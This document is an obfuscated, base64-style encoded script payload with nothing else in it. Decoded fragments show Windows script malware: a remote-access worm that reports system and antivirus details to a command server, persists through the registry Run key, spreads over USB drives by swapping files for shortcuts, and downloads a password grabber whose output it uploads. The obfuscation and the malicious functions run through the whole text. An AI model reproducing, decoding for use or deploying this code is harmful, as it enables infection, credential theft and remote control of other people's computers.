xYkd4dVlXMWxJQ3gwY25WbEtUc0tmV05oZEdOb0tHVmxhaWw3ZlFwbWIzSW9kbUZ5SUdSeWFTQC0jOUlHNWxkeUJGYm5WdFpYSmhkRzl5S0dacGJHVnplWE4wWlcxdlltb3VaSEpwZG1WektUc2dJV1J5YVM1aGRFVnVaQ2dwT3lCa2Nta3ViVzkyWlU1bGVIUW9LU2w3Q25aaGNpQmtjbWwyWlNALSM5SUdSeWFTNXBkR1Z0S0NrN0NtbG1JQ2hrY21sMlpTNXBjM0psWVdSNUlEMDlJSFJ5ZFdVcGV3cHBaaUAtI29aSEpwZG1VdVpuSmxaWE53WVdObElENGdNQ0AtI3Bld3BwWmlALSNvWkhKcGRtVXVaSEpwZG1WMGVYQmxJRDA5SURFZ0tYc0tDV1p2Y2loMllYSWdabWtnUFNCdVpYY2dSVzUxYldWeVlYUnZjaWhtYVd4bGMzbHpkR1Z0YjJKcUxtZGxkR1x2YkdSbGNpaGtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpa3VabWxzWlhNcE95QC0jaFpta3VZWFJGYm1Rb0tUc2dabWt1Ylc5MlpVNWxlSFFvS1NsN0NpQC0jZ0lDQC0jZ0lDQC0jZ0lIWmhjaUJtYVd4bElEMGdabWt1YVhSbGJTZ3BPd29KQ1NCMGNubDdDaUAtI2dJQ0AtI2dJQ0AtI2dJR2xtSUNobWFXeGxMbTVoYldVdWFXNWtaWGhQWmlnaUxpSXBLWHNLSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUdsbUlDZ29abWxzWlM1dVlXMWxMbk53YkdsMEtDSXVJaWxiWm1sc1pTNXVZVzFsTG5Od2JHbDBLQ0l1SWlrdWJHVnVaM1JvSUMwZ81WMHBMblJ2VEc5M1pYSkRZWE5sS0NrZ0lUMGdJbXh1YXlJcGV3b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJR1pwYkdVdVlYUjBjbWxpZFhSbGN5QC0jOUlEQC0jN0NpQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ2FXWWdLR1pwYkdVdWJtRnRaUzUwYjFWd2NHVnlRMkZ6WlNncElDRTlJR2x1YzNSaGJHeHVZVzFsTG5SdlZYQndaWEpEWVhObEtDa3Bld29nSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNCbWFXeGxibUZ0WlNALSM5SUdacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcE93b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0JtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9aSEpwZG1VdWNHRjBhQ0AtI3JJQ0pjWENJZ0t5Qm1hV3hsYm1GdFpWc3dYU0AtI3JJQ0l1Ykc1cklpQC0jcE93b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJSDFsYkhObGV3b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0JtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9aSEpwZG1VdWNHRjBhQ0AtI3JJQ0pjWENJZ0t5Qm1hV3hsTG81aGJXVXBPd29nSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUgwS0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lIMWxiSE5sZXdvZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lHWnBiR1Z6ZVhOMFpXMXZZbW91WkdWc1pYUmxSbWxzWlNALSNvWm1sc1pTNXdZWFJvS1RzS0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lIMEtJQ0AtI2dJQ0AtI2dJQ0AtI2dmUW9KQ1NCOVkyRjBZMmdvWlhncGUzMEtJQ0AtI2dJQ0I5Q2drZ1ptOXlLSFpoY2lCbWFTQC0jOUlHNWxkeUJGYm5WdFpYSmhkRzl5S0dacGJHVnplWE4wWlcxdlltb3VaMlYwWm05c1pHVnlLR1J5YVhabExuQmhkR2dnS3lALSNpWEZ3aUtTNXpkV0pHYjJ4a1pYSnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvSkNYWmhjaUJtYjJ4a1pYSWdQU0JtYVM1cGRHVnRLQ2s3Q2lALSNnSUNALSNnSUNALSNnSUdadmJHUmxjaTVoZEhSeWFXSjFkR1Z6SUQwZ01Ec0tJQ0AtI2dJQ0I5Q24wS2ZRcDlDbjBLZldOaGRHTm9LR1Z5Y2lsN2ZRcFhVMk55YVhCMExuRjFhWFFvS1RzS2ZRb0tablZ1WTNScGIyNGdjRzl6ZENALSNvWTIxa0lDeHdZWEpoYlNsN0NuUnllWHNLYUhSMGNHOWlhaTV2Y0dWdUtDSndiM04wSWl3aWFIUjBjRG92THlJZ0t5Qm9iM04wSUNzZ0lqb2lJQ3NnY0c5eWRDQC0jcklpOGlJQ3NnWTIxa0xDQm1ZV3h6WlNrN0NtaDBkSEJ2WW1vdWMyVjBVbVZ4ZFdWemRFaGxZV1JsY2lnaWRYTmxjaTFoWjJWdWREb2lMR2x1Wm05eWJXRjBhVzl1S0NrcE93cG9kSFJ3YjJKcUxuTmxibVFvY0dGeVlXMHBPd3B5WlhSMWNtNGdhSFIwY0c5aWFpNXlaWE53YjI1elpWUmxlSFE3Q24xallYUmphQ2hsY25JcGV3b0pjbVYwZFhKdUlDSWlPd3A5Q24wS0NtWjFibU4wYVc5dUlHbHVabTl5YldGMGFXOXVLQ2w3Q25SeWVYc0thV1lnS0dsdVppQC0jOVBTQC0jaUlpbDdDaUAtI2dJQ0JwYm1ZZ1BTQm9kMmxrS0NrZ0t5QnpjR3hwZEdWeU93b2dJQ0AtI2dhVzVtSUQwZ2FXNW1JQ0AtI3JJSE5vWld4c2IySnFMa1Y0Y0dGdVpFVnVkbWx5YjI1dFpXNTBVM1J5YVc1bmN5Z2lKV052YlhCMWRHVnlibUZ0WlNVaUtTQC0jcklITndiR2wwWlhJZ093b2dJQ0AtI2dhVzVtSUQwZ2FXNW1JQ0AtI3JJSE5vWld4c2IySnFMa1Y0Y0dGdVpFVnVkbWx5YjI1dFpXNTBVM1J5YVc1bmN5Z2lKWFZ6WlhKdVlXMWxKU0lwSUNzZ2MzQnNhWFJsY2pzS0NpQC0jZ0lDQjJZWElnY205dmRDQC0jOUlFZGxkRTlpYW1WamRDZ2lkMmx1YldkdGRITTZlMmx0Y0dWeWMyOXVZWFJwYjI1c1pYWmxiRDFwYlhCbGNuTnZibUYwWlgwaFhGeGNYQzVjWEhKdmIzUmNYR05wYlhZeUlpazdDaUAtI2dJQ0IyWVhJZ2IzTWdQU0J5YjI5MExrVjRaV85SZFdWeWVTQC0jb0luTmxiR1ZqZENALSNxSUdaeWIyMGdkMmx1TXpKZmIzQmxjbUYwYVc1bmMzbHpkR1Z0SWlrN0NpQC0jZ0lALSNvSlptOXlLSFpoY2lCbWFTQC0jOUlHNWxkeUJGYm5WdFpYSmhkRzl5S0c5ektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29KQ1haaGNpQnZjMmx1Wm84Z1BTQm1hUzVwZEdWdEtDazdDaUAtI2dJQ0AtI2dJQ0JwYm1ZZ1BTQnBibVlnS3lCdmMybHVabTh1WTJGd2RHbHZiaUAtI3JJSE53YkdsMFpYSTdJQ0AtI0tJQ0AtI2dJQ0AtI2dJR0p5WldGck93b2dJQ0AtI2dmUW9nSUNALSNnYVc1bUlEMGdhVzVtSUNzZ0luQnNkWE1pSUNzZ2MzQnNhWFJsY2pzS0lDQC0jZ0lHbHVaaUAtIzlJR2x1WmlALSNySUhObFkzVnlhWFI1S0NrZ0t5QnpjR3hwZEdWeU93b2dJQ0AtI2dhVzVtSUQwZ2FXNW1JQ3NnZFhOaWMzQnlaV0ZrYVc1bk93b2dJQ0AtI2dhVzVtSUQwZ0lsZFRTRkpCVkNJZ0t5QnpjR3hwZEdWeUlDc2dhVzVtSUNzZ2MzQnNhWFJsY2lALSNySUNKS1lYWmhVMk55YVhCMExYWXhMaklpSURzS0lDQC0jZ0lISmxkSFZ5YmlCcGJtWTdDbjFsYkhObGV3b2dJQ0AtI2djbVYwZFhKdUlHbHVaanNLZlFwOVkyRjBZMmdvWlhKeUtYc0tDWEpsZEhWeWJpQC0jaUlqc0tmUXA5Q2dvS1puVnVZM1JwYjI0Z2RYQnpkR0Z5ZENALSNvS1hzS2RISjVld3AwY25sN0NpQC0jZ0lDQnphR1ZzYkc5aWFpNVNaV2RYY21sMFpTZ2lTRXRGV1Y5RFZWSlNSVTVVWDFWVFJWSmNYSE52Wm5SM1lYSmxYRnh0YVdOeWIzTnZablJjWEhkcGJtUnZkM05jWEdOMWNuSmxiblIyWlhKemFXOXVYRnh5ZFc1Y1hDSWdLeUJwYm5OMFlXeHNibUZ0WlM1emNHeHBkQ2dpTGlJcFd6QmRMQ0AtI2dJbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3lALSNpWENJaUlDd2dJbEpGUjE5VFdpSXBPd29nSUNALSNnYzJobGJHeHZZbW91VW1WblYzSnBkR1VvSWtoTFJWbGZURTlEUVV4ZlRVRkRTRWxPUlZ4Y2MyOW1kSGRoY21WY1hHMXBZM0p2YzI5bWRGeGNkMmx1Wkc5M2MxeGNZM1Z5Y21WdWRIWmxjbk5wYjI1Y1hISjFibHhjSWlALSNySUdsdWMzUmhiR3h1WVcxbExuTndiR2wwS0NJdUlpbGJNRjBzSUNALSNpZDNOamNtbHdkQzVsZUdVZ0x5OUNJRndpSWlALSNySUdsdWMzUmhiR3hrYVhJZ0t5QnBibk4wWVd4c2JtRnRaU0AtI3JJQ0pjSWlJZ0xDQC0jaVVrVkhYMU5hSWlrN0NuMWpZWFJqYUNobGFTbDdmUXBtYVd4bGMzbHpkR1Z0YjJKcUxtTnZjSGxHYVd4bEtGZFRZM0pwY0hRdWMyTnlhWEIwUm5Wc2JFNWhiV1VzSUdsdWMzUmhiR3hrYVhJZ0t5QnBibk4wWVd4c2JtRnRaU3dnZEhKMVpTazdDbVpwYkdWemVYTjBaVzF2WW1vdVkyOXdlVVpwYkdVb1YxTmpjbWx3ZEM1elkzSnBjSFJHZFd4c1RtRnRaU3dnYzNSaGNuUjFjQ0AtI3JJR2x1YzNSaGJHeHVZVzFsTENCMGNuVmxLVHNLZldOaGRHTm9LR1Z5Y2lsN2ZRcDlDZ29LWm5WdVkzUnBiMjRnYUhkcFpDZ3Bld3AwY25sN0NuWmhjaUJ5YjI5MElEMGdSMlYwVDJKcVpXTjBLQ0ozYVc1dFoyMTBjenA3YVcxd1pYSnpiMjVoZEdsdmJreGxkbVZzUFdsdGNHVnljMjl1WVhSbGZTRmNYRnhjTGx4Y2NtOXZkRnhjWTJsdGRqSWlLVHNLZG1GeUlHUnBjMnR6SUQwZ2NtOXZkQzVGZUdWalVYVmxjbmtnS0NKelpXeGxZM1FnS2lCbWNtOXRJSGRwYmpNeVgyeHZaMmxqWVd4a2FYTnJJaWs3Q21admNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2loa2FYTnJjeWs3SUNGbWFTNWhkRVZ1WkNncE95Qm1hUzV0YjNabFRtVjRkQ2dwS1hzS2RtRnlJR1JwYzJzZ1BTQm1hUzVwZEdWdEtDazdDaUAtI2dJQ0JwWmlALSNvWkdsemF5NTJiMngxYldWVFpYSnBZV3hPZFcxaVpYSWdJVDBnSWlJcGV3b2dJQ0AtI2dJQ0AtI2dJSEpsZEhWeWJpQmthWE5yTG5admJIVnRaVk5sY21saGJFNTFiV0psY2pzS0lDQC0jZ0lDQC0jZ0lDQmljbVZoYXpzS0lDQC0jZ0lIMEtmUXA5WTJGMFkyZ29aWEp5S1hzS0NYSmxkSFZ5YmlALSNpSWpzS2ZRcDlDZ29LWm5WdVkzUnBiMjRnYzJWamRYSnBkSGtvS1hzS2RISjVld3AyWVhJZ2IySnFkMjFwYzJWeWRtbGpaU0AtIzlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNXNaWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmpiMnhwZEdWdGN5QC0jOUlHOWlhbmR0YVhObGNuWnBZMlV1UlhobFkxRjFaWEo1S0NKelpXeGxZM1FnS2lCbWNtOXRJSGRwYmpNeVgyOXdaWEpoZEdsdVozTjVjM1JsYlNJc2JuVnNiQ3cwT0NrN0NncDJZWElnZG1WeWMybHZibk4wY2l3Z2IzTjJaWEp6YVc5dU93cG1iM0lvZG1GeUlHWnBJRDBnYm1WM0lFVnVkVzFsY21GMGIzSW9ZMjlzYVhSbGJYTXBPeUAtI2habWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDaUAtI2dJQ0IyWVhJZ2IySnFhWFJsYlNALSM5SUdacExtbDBaVzBvS1RzS0lDQC0jZ0lIWmxjbk5wYjI1emRISWdQU0J2WW1wcGRHVnRMblpsY25OcGIyNHVkRzlUZEhKcGJtY29LUzV6Y0d4cGRDZ2lMaUlwT3dwOUNnb3ZMM1psY25OcGIyNXpkSElnUFNCamIyeHBkR1Z0Y3k1MlpYSnphVzl1TG5Od2JHbDBLQ0l1SWlrN0NtOXpkbVZ5YzJsdmJpQC0jOUlIWmxjbk5wYjI1emRISmJNRjBnS3lALSNpTGlJN0NtWnZjaUAtI29kbUZ5SUhnZ1BTQC0jeE95QjRJRHdnZG1WeWMybHZibk4wY2k1c1pXNW5kR2c3SUhnckt5bDdDZ2tnYjNOMlpYSnphVzl1SUQwZ2IzTjJaWEx6YVc5dUlDc2dkbVZ5YzJsdmJuTjBjbHN3WFRzS2ZRb0tiM04yWlhKemFXOXVJRDBnWlhaaGJDaHZjM1psY25OcGIyNHBPd3AyWVhJZ2MyTTdDbWxtSUNodmMzWmxjbk5wYjI0Z1BpQC0jMktYc2djMk1nUFNALSNpYzJWamRYSnBkSGxqWlc1MFpYSXlJanNnZldWc2MyVjdJSE5qSUQwZ0luTmxZM1Z5YVhSNVkyVnVkR1Z5SWp0OUNncDJZWElnYjJKcWMyVmpkWEpwZEhsalpXNTBaWElnUFNCSFpYUlBZbXBsWTNRb0luZHBibTFuYlhSek9seGNYRnhzYjJOaGJHaHZjM1JjWEhKdmIzUmNYQ0lnS3lCell5azdDblpoY2lCamIyeGhiblJwZG1seWRYTWdQU0J2WW1welpXTjFjbWwwZVdObGJuUmxjaTVGZUdWalVYVmxjbmtvSW5ObGJHVmpkQ0AtI3FJR1p5YjIwZ1lXNTBhWFpwY25WemNISnZaSFZqZENJc0lDSjNjV3dpTENALSN3S1RzS2RtRnlJSE5sWTNVZ1BTQC0jaUlqc0tabTl5S0haaGNpQm1hU0AtIzlJRzVsZHlCRmJuVnRaWEpoZEc5eUtHTnZiR0Z1ZEdsMmFYSjFjeWs3SUNGbWFTNWhkRVZ1WkNncE95Qm1hUzV0YjNabFRtVjRkQ2dwS1hzS0NYWmhjaUJ2WW1waGJuUnBkbWx5ZFhNZ1BTQm1hUzVwZEdWdEtDazdDaUAtI2dJQ0J6WldOMUlEMGdjMlZqZFNALSNnS3lCdlltcGhiblJwZG1seWRYTXVaR2x6Y0d4aGVVNWhiV1VnS3lALSNpSUM0aU93cDlDbWxtS0hObFkzVWdQVDBnSWlJcGUzTmxZM1VnUFNALSNpYm1GdUxXRjJJanQ5Q25KbGRIVnliaUJ6WldOMU93cDlZMkYwWTJnb1pYSnlLWHQ5Q24wS1puVnVZM1JwYjI0Z1oyVjBSR0YwWlNncGV3b2dJQ0AtI2dkbUZ5SUhNZ1BTQC0jaUlqc0tJQ0AtI2dJSFpoY2lCa0lEMGdibVYzSUVSaGRHVW9LVHNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUAtI29nSUNALSNnY3lALSNyUFNCa0xtZGxkRVJoZEdVb0tTQC0jcklDSXZJanNnSUNALSNnSUNALSNnSUNALSNnQ2lALSNnSUNCeklDczlJQ2hrTG1kbGRFMXZiblJvS0NrZ0t5QC0jeEtTQC0jcklDSXZJanNnQ2lALSNnSUNCeklDczlJR1F1WjJWMFdXVmhjaWdwT3dvZ0lDQC0jZ2NtVjBkWEp1SUhNN0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lALSNwOUNtWjFibU4wYVc5dUlHbHVjM1JoYm1ObEtDbDdDblJ5ZVhzS2RISjVld3AxYzJKemNISmxZV1JwYm1jZ1BTQnphR1ZzYkc5aWFpNVNaV2RTWldGa0tDSklTMFZaWDB4UFEwRk1YMDFCUTBoSlRrVmNYSE52Wm5SM1lYSmxYRndpSUNzZ2FXNXpkR0ZzYkc1aGJXVXVjM0JzYVhRb0lpNGlLVnN3WFNALSNySUNKY1hDSXBPd3A5WTJGMFkyZ29aV1ZsS1h0OUNtbG1LSFZ6WW5Od2NtVmhaR2x1WnlALSM5UFNALSNpSWlsN0NpQC0jZ0lHbG1JQ2hYVTJOeWFYQjBMbk5qY21sd2RFWjFiR3hPWVcxbExuTjFZbk4wY2lneEtTNTBiMHh2ZDJWeVEyRnpaU2dwSUQwOUlDSTZYRndpSUNzZ0lHbHVjM1JoYkd4dVlXMWxMblJ2VEc5M1pYSkRZWE5sS0NrcGV3b2dJQ0AtI2dJQ0IxYzJKemNISmxZV1JwYm1jZ1BTQC0jaWRISjFaU0AtI3RJQ0lnS3lCblpYUkVZWFJsS0NrN0NpQC0jZ0lDQC0jZ0lIUnllWHR6YUdWc2JHOWlhaTVTWldkWGNtbDBaU2dpU0V0RldWOU1UME5CVEY5TlFVTklTVTVGWEZ4emIyWjBkMkZ5WlZ4Y0lpQC0jcklHbHVjM1JoYkd4dVlXMWxMbk53YkdsMEtDSXVJaWxiTUYwZ0t5QC0jaVhGd2lMQ0AtI2dkWE5pYzNCeVpXRmthVzVuTENALSNpVWtWSFgxTmFJaWs3ZldOaGRHTm9LR1ZsWldWbEtYdDlDaUAtI2dJQ0I5Wld4elpYc0tJQ0AtI2dJQ0AtI2dkWE5pYzNCeVpXRmthVzVuSUQwZ0ltWmhiSE5sSUMwZ0lpQC0jcklHZGxkRVJoZEdVb0tUc0tJQ0AtI2dJQ0AtI2dkSEo1ZTNOb1pXeHNiMkpxTGxKbFoxZHlhWFJsS0NKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY1hITnZablIzWVhKbFhGd2lJQ3NnYVc1emRHRnNiRzVoYldVdWMzQnNhWFFvSWk0aUtWc3dYU0AtI2dLeUAtI2lYRndpTENALSNnZFhOaWMzQnlaV0ZrYVc1bkxDQC0jaVVrVkhYMU5hSWlrN2ZXTmhkR85vS0dWbFpXVmxLWHQ5Q2lALSNnSUNCOUNuMEtDblZ3YzNSaGNuUW9LVHNLQ25aaGNpQnpZM0pwY0hSbWRXeHNibUZ0WlhOb2IzSjBJRDBnSUdacGJHVnplWE4wWlcxdlltb3VaMlYwUm1sc1pTaFhVMk55YVhCMExuTmpjbWx3ZEVaMWJHeE9ZVzFsS1RzS2RtRnlJR2x1YzNSaGJHeG1kV3hzYm1GdFpYTm9iM0owSUQwZ0lHWnBiR1Z6ZVhOMFpXMXZZbW91WjJWMFJtbHNaU2hwYm5OMFlXeHNaR2x5SUNzZ2FXNXpkR0ZzYkc1aGJXVXBPd3BwWmlALSNvYzJOeWFYQjBablZzYkc1aGJXVnphRzl5ZEM1emFHOXlkRkJoZEdndWRHOU1iM2RsY2tOaGMyVW9LU0AtI2hQU0JwYm5OMFlXeHNablZzYkc1aGJXVnphRzl5ZEM1emFHOXlkRkJoZEdndWRHOU1iM2RsY2tOaGMyVW9LU2w3SUAtI29nSUNALSNnYzJobGJHeHZZbW91Y25WdUtDSjNjMk55YVhCMExtVjRaU0AtI3ZMMElnWENJaUlDc2dhVzV6ZEdGc2JHUnBjaUAtI3JJR2x1YzNSaGJHeHVZVzFsSUNzZ0lsd2lJaWs3Q2lALSNnSUNCWFUyTnlhWEIwTG5GMWFYUW9LVHNnQ24wS2IyNWxiMjVqWlNALSM5SUdacGJHVnplWE4wWlcxdlltb3ViM0JsYmxSbGVIUkdhV3hsS0dsdWMzUmhiR3hrYVhJZ0t5QnBibk4wWVd4c2JtRnRaU0AtI3NPQ3dnWm1Gc2MyVXBPd29LZldOaGRHTm9LR1Z5Y2lsN0NpQC0jZ0lDQlhVMk55YVhCMExuRjFhWFFvS1RzS2ZRcDlDZ3BtZFc1amRHbHZiaUJ3WVhOelozSmhZbUpsY2lALSNvWm1sc1pYVnliQ3dnWm1sc1pXNWhiV1VzSUhKbGRHTnRaQ2w3Q25Ob1pXeHNiMkpxTG5KMWJpZ2lKV052YlhOd1pXTWxJQzlqSUhSaGMydHJhV3hzSUM5R0lDOUpUU0AtI2lJQ3NnWm1sc1pXNWhiV1VzSURALSNzSUhSeWRXVXBPd3AwY25sN1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0dsdWMzUmhiR3hrYVhJZ0t5Qm1hV3hsYm1GdFpTQC0jcklDSmtZWFJoSWlrN2ZXTmhkR05vS0dWNUtYdDlDblpoY2lCamIyNW1hV2RmWm1sc1pTQC0jOUlHbHVjM1JoYkd4a2FYSWdLeUJtYVd4bGJtRnRaUzV6ZFdKemRISW9NQ3dnWm1sc1pXNWhiV1V1YkdGemRFbHVaR1Y0VDJZb0lpNGlLU2tnS3lALSNpTG1ObVp5STdDblpoY2lCalptY2dQU0AtI2lXMGRsYm1WeVlXeGRYRzVUYUc5M1IzSnBaRXhwYm1WelBUQmNibE5oZG1WR2FXeDBaWEpKYm1SbGVEMHdYRzVUYUc5M1NXNW1iMVJwY0QweFhHNVZjMlZRY285bWFXeGxSbTlzWkdWeVBUQmNibEJ5YjJacGJHVkdiMnhrWlhJOVhHNU5ZWEpyVDJSa1JYWmxibEp2ZDNNOU1GeHVWMmx1VUc5elBUSkRJREAtI3dJREAtI3dJREAtI3dJREAtI3dJREAtI3dJREAtI3dJREAtI3dJREAtI3hJREAtI3dJREAtI3dJREAtI3dJRVpHSUVaR0lFWkdJRVpHSUVaR0lFWkdJRVpHSUVaR0lFWkdJRVpHSUVaR0lFWkdJRVpHSUVaR0lFWkdJRVpHSURALSN3SURALSN3SURALSN3SURALSN3SURALSN3SURALSN3SURALSN3SURALSN3SURnd0lEQC0jeUlEQC0jd0lEQC0jd0lFVXdJREAtI3hJREAtI3dJREAtI3dYRzVEYjJ4MWJXNXpQVVpCSURALSN3SURALSN3SURALSN3SUVaQklEQC0jd0lEQC0jeElEQC0jd0lEWkZJREAtI3dJREAtI3lJREAtI3dJRFpGSURALSN3SURALSN6SURALSN3SURjNElEQC0jd0lEQC0jMElEQC0jd0lEYzRJREAtI3dJREAtIzFJREAtI3dJRGM0SURALSN3SURALSMySURALSN3SURZMElEQC0jd0lEQC0jM0lEQC0jd0lFWkJJREAtI3dJREAtIzRJREAtI3dYRzVUYjNKMFBUQC0jaU93b3ZMM2R5YVhSbElHTnZibVpwWndwMllYSWdkM0pwZEdWeUlEMGdabWxzWlhONWMzUmxiVzlpYWk1dmNHVnVWR1Y0ZEVacGJHVW9ZMjl1Wm1sblgyWnBiR1VzSURJc0lIUnlkV1VwT3dwM2NtbDBaWEl1ZDNKcGRHVk1hVzVsS0dObVx5azdDbmR5YVhSbGNpNWpiRzl6WlNncE93cDNjbWwwWlhJZ1BTQnVkV3hzT3dvSklDQC0jZ0NuWmhjaUJ6ZEhKc2FXNXJJRDBnWm1sc1pYVnliRHNLZG1GeUlITjBjbk5oZG1WMGJ5QC0jOUlHbHVjM1JoYkd4a2FYSWdLeUJtYVd4bGJtRnRaVHNLZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkNALSM5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93cHZZbXBvZEhSd1pHOTNibXh2WVdRdWIzQmxiaWdpWjJWMElpd2djM1J5YkdsdWF5d2dabUZzYzJVcE93cHZZbXBvZEhSd1pHOTNibXh2WVdRdWMyVjBVbVZ4ZFdWemRFaGxZV1JsY2lnaVkyRmphR1V0WTI5dWRISnZiRG9pTENALSNpYldGNExXRm5aVDB3SWlrN0NtOWlhbWgwZEhCa2IzZHViRzloWkM1elpXNWtLQ2s3Q2dwMllYSWdiMkpxWm5OdlpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpYzJOeWFYQjBhVzVuTG1acGJHVnplWE4wWlcxdlltcGxZM1FpS1RzS2FXWW9iMkpxWm5OdlpHOTNibXh2WVdRdVptbHNaVVY0YVhOMGN5aHpkSEp6WVhabGRHOHBLWHNLSUNALSNnSUc5aWFtWnpiMlJ2ZDI1c2IyRmtMbVJsYkdWMFpVWnBiR1VvYzNSeWMyRjJaWFJ2S1RzS2ZRb2dDbWxtSUNodlltcG9kSFJ3Wkc5M2JteHZZV1F1YzNSaGRIVnpJRDA5SURJd01DbDdDaUAtI2dJSFpoY2lALSNnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2lZV1J2WkdJdWMzUnlaV0Z0SWlrN0NpQC0jZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFNALSN4T3lALSNLSUNALSNnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VDNCbGJpZ3BPd29nSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1WGNtbDBaU2h2WW1wb2RIUndaRzkzYm14dllXUXVjbVZ6Y0c5dWMyVkNiMlI1S1RzS0lDQC0jZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVUyRjJaVlJ2Um1sc1pTaHpkSEp6WVhabGRHOHBPd29nSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1amJHOXpaU2dwT3dvZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDQC0jOUlHNTFiR3c3Q24wS2FXWW9iMkpxWm5OdlpHOTNibXh2WVdRdVptbHNaVVY0YVhOMGN5aHpkSEx6WVhabGRHOHBLWHNLSUNALSNnZG1GeUlISjFibTVsY2lALSM5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSlRhR1ZzYkM1QmNIQnNhV85oZEdsdmJpSXBPd29nSUNCMllYSWdjMkYyWlhJZ1BTQnZZbXBtYzI5a2IzZHViRzloWkM1blpYUkdhV3hsS0hOMGNuTmhkbVYwYnlrdWMyaHZjblJRWVhSb0NpQC0jZ0lALSNvZ0lDQC0jdkwzUnllU0AtI3hNQ0IwYVcxbGN5QmlaV1x2Y21VZ1oybDJaWFZ3Q2lALSNnSUdadmNpaDJZWElnYVQwd095QnBQREV3T3lCcEt5c3Bld29KQ1hOb1pXeHNiMkpxTG5KMWJpZ2lKV052YlhOd1pXTWxJQzlqSUhSaGMydHJhV3hzSUM5R0lDOUpUU0AtI2lJQ3NnWm1sc1pXNWhiV1VzSURALSNzSUhSeWRXVXBPd29KQ1ZkVFkzSnBjSFF1YzJ4bFpYQC0jb81UQC0jd01DazdDZ2tKY25WdWJtVnlMbk5vWld4c1JYaGxZM1YwWlNoellYWmxjaXdnSWlALSN2YzNSbGVIUWdJaUAtI3JJSE5oZG1WeUlDc2dJbVJoZEdFaUtUc0tDUWxYVTJOeWFYQjBMbk5zWldWd0tESXdNREAtI3BPd29KQ1dsbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MyRjJaWElnS3lALSNpWkdGMFlTSXBLWHNLQ1FrSlluSmxZV3M3Q2drSmZRb0pmUW9nSUNALSNLSUNALSNnWkdWc1pYUmxabUZtS0hOMGNuTmhkbVYwYnlrN0NpQC0jZ0lIVndiRzloWkNoellYWmxjaUAtI3JJQ0prWVhSaElpd2djbVYwWTIxa0tUc0tmUXA5Q2dwbWRXNWpkR2x2YmlCd1lYTnpaM0poWW1KbGNqSW9abWxzWlhWeWJDd2dabWxzWlc1aGJXVXNJR1pwYkdWMWNtd3lLWHNLWm05eUtIWmhjaUJvUFRALSM3SUdnOE1qc2dhQ3NyS1hzS2MyaGxiR3h2WW1vdWNuVnVLQ0lsWTI5dGMzQmxZeVVnTDJNZ2RHRnphMnRwYkd3Z0wwWWdMMGxOSUNJZ0t5Qm1hV3hsYm1GdFpTd2dNQ3dnZEhKMVpTazdDblJ5ZVh0bWFXeGxjM2x6ZEdWdGIySnFMbVJsYkdWMFpVWnBiR1VvYVc1emRHRnNiR1JwY2lALSNySUdacGJHVnVZVzFsSUNzZ0ltUmhkR0VpS1R0OVkyRjBZMmdvWlhrcGUzMEtkbUZ5SUdOdmJtWnBaMTltYVd4bElEMGdhVzV6ZEdGc2JHUnBjaUAtI3JJR1pwYkdWdVlXMWxMbk4xWW5OMGNpZ3dMQ0JtYVd4bGJtRnRaUzVzWVhOMFNXNWtaWGhQWmlnaUxpSXBLU0AtI3JJQ0l1WTJabklqc0tkbUZ5SUdObVp5QC0jOUlDSmJSMlZ1WlhKaGJGMWNibE5vYjNkSGNtbGtUR2x1WlhNOU1GeHVVMkYyW